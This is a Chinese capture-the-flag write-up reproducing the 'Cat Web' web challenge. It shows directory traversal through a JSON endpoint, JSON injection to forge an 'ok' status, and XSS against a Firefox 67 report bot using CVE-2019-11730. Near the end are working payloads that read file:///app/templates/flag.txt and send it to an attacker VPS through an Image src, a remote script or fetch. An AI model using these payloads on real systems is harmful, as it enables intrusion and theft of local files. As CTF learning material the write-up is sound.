之前听群里师傅们说这个比赛质量挺高的,看了看果然还是不太会做。但是读了wp后感觉很有水平,所以干脆来复现下题目吧。
Cat Web
题目开始没什么发现,一个report框似乎是直接提交连url,似乎是个ssrf了。
然后是个猫的图片的切换了。因为是http://catweb.zajebistyc.tf/?white
这种比较奇怪的形式,于是去看看源码,发现是通过接口http://catweb.zajebistyc.tf/cats?kind=
实现的。
function getNewCats(kind) {
$.getJSON('http://catweb.zajebistyc.tf/cats?kind='+kind, function(data) {
if(data.status != 'ok')
{
return;
}
$('#cats_container').empty();
cats = data.content;
cats.forEach(function(cat) {
var newDiv = document.createElement('div');
newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';
$('#cats_container').append(newDiv);
});
});
}
$(document).ready(function() {
$('#cat_select').change(function() {
var kind = $(this).val();
history.pushState({}, '', '?'+kind)
getNewCats(kind);
});
var kind = window.location.search.substring(1);
if(kind == "")
{
kind = 'black';
}
getNewCats(kind);
});
那就在这里入手看看。
尝试传一个点
catweb.zajebistyc.tf/cats?kind=.
发现回显
{"status": "ok", "content": ["grey", "white", "red", "black"]}
那这个岂不是可以列目录?的确如此,
注意之前源码中的这里
newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';
由于我们的kind直接拼接进去,所以相当于直接返回了src=static/./
那这个url可以直接做一个目录遍历,发现flag在templates下
kind=../templates
{"status": "ok", "content": ["report.html", "index.html", "flag.txt"]}
接下来就是要想办法读文件了。可是这道题有意思的地方就在于,这里完全只有前端漏洞的可能,却要进行读文件。如何达成呢?
再回头看看源码中if(data.status != 'ok')
就直接return。我们是否有办法伪造ok的status呢?
首先尝试简单的payload
/cats?kind=byc
{"status": "error", "content": "byc could not be found"}
/cats?kind="byc"
{"status": "error", "content": " "byc" could not be found"}
似乎需要双引号闭合,并且确定content中会回显我们的输入内容。这里可能就是执行点了。
/cats?kind=",%20"status":%20"ok","test":"
{"status": "error", "content": "", "status": "ok","test":" could not be found"}
到这一步的回显似乎已经是正常格式的json回显了。接下来看看是否能达成攻击。
从之前源码可知,我们index.html的回显是通过div标签达成的。而其内容正是由src加载我们content所给的值。也就是说,接下来我们应该尝试xss攻击。
回到原界面index.html,看看alert(1)
catweb.zajebistyc.tf/?", "status": "ok", "content": ["\"><script>alert(1);</script>"], "test":"
这里使用反斜杠是为了逃逸前面代码中的单引号。当然也可以使用unicode来逃逸。
既然可以xss,那就意味着我们多半可执行一段js代码。但是目的呢?原来只知道xss可以做到CSRF,可是这里读文件要怎么办?
这里还是先简单测试下xss,往服务器打如下payload:
?", "status": "ok", "content": ["\"><script src='http://vps:ip/1.js'></script>"],"test": "
普通的回显没啥可利用的。但是假如我们用前面report界面的report发送一下http://catweb.zajebistyc.tf/
+payload
发现bot用的user-agent是firefox/67.0.而这是存在CVE的:
CVE-2019-11730
允许我们使用
file:///
协议进行任意跨域。也就是说,我们可以进行对templates下flag.txt读取了。
目前看到有两种payload
file:///app/templates/index.html?", "status": "ok", "content": ["abc\u0022 onerror\u003d\u0022var i=document.createElement('iframe');i.src='./flag.txt';i.onload=function(){(new Image).src='http://ip:port/?'+i.contentDocument.body.innerText};document.body.append(i)"], "test": "
直接打一段js脚本。
或者加载vps上写好的js
file:///app/templates/index.html?", "content": ["\"><script src='http://vsp:port/1.js'></script>"], "status": "ok", "test": "
配合vps内容
fetch('file:///app/templates/flag.txt').then(response => response.text()).then((response) => {window.location = 'http://vps:port/?a=' + (btoa(response) || 'No Value')});
flag到手
网友评论